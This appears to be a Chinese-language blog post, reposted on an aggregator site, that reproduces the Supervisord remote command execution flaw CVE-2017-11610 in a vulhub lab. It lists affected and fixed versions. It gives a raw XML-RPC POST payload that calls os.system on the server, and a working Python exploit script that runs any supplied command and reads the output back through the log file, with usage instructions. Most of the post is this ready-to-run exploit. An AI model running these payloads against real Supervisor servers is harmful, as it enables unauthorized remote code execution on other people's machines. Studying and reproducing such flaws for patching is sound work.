Supervisord 远程命令执行漏洞(CVE-2017-11610)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Supervisord 远程命令执行漏洞(CVE-2017-11610)相关的知识,希望对你有一定的参考价值。

    Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务。在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码。

    影响版本:Supervisor 3.1.2 <= Version <= 3.3.2

    已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.1

    我们使用burpsuit进行抓包,然后发送到repter,修改数据包如下:

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

技术分享

执行命令成功

    通过这个poc虽然能验证漏洞,但是执行的命令却没有回显,但是命令是执行成功了的!

技术分享

验证码命令执行成功

    另外我们可以将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

    利用代码poc.py如下:

import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, ‘supervisor.readLog‘)(0,0)

    logfile = getattr(proxy, ‘supervisor.supervisord.options.logfile.strip‘)()
    getattr(proxy, ‘supervisor.supervisord.options.warnings.linecache.os.system‘)(‘{} | tee -a {}‘.format(command, logfile))
    result = getattr(proxy, ‘supervisor.readLog‘)(0,0)

    print(result[len(old):])

使用方法:

python3 poc.py "http://your-ip:9001/RPC2" "command"

技术分享

    执行任意命令并回显

参考链接:https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610

本文出自 “eth10” 博客,请务必保留此出处http://eth10.blog.51cto.com/13143704/1955450

以上是关于Supervisord 远程命令执行漏洞(CVE-2017-11610)的主要内容,如果未能解决你的问题,请参考以下文章

漏洞安全公告|SaltStack 远程命令执行漏洞(CVE-2020-11651/CVE-2020-11652)

高危漏洞|SaltStack远程命令执行漏洞(CVE-2020-11651CVE-2020-11652)

Spring Framework 远程命令执行漏洞复现(CVE-2022-22965)

漏洞通告SaltStack远程命令执行漏洞

华为路由器远程命令执行漏洞复现(CVE-2017-17215)

华为路由器远程命令执行漏洞复现(CVE-2017-17215)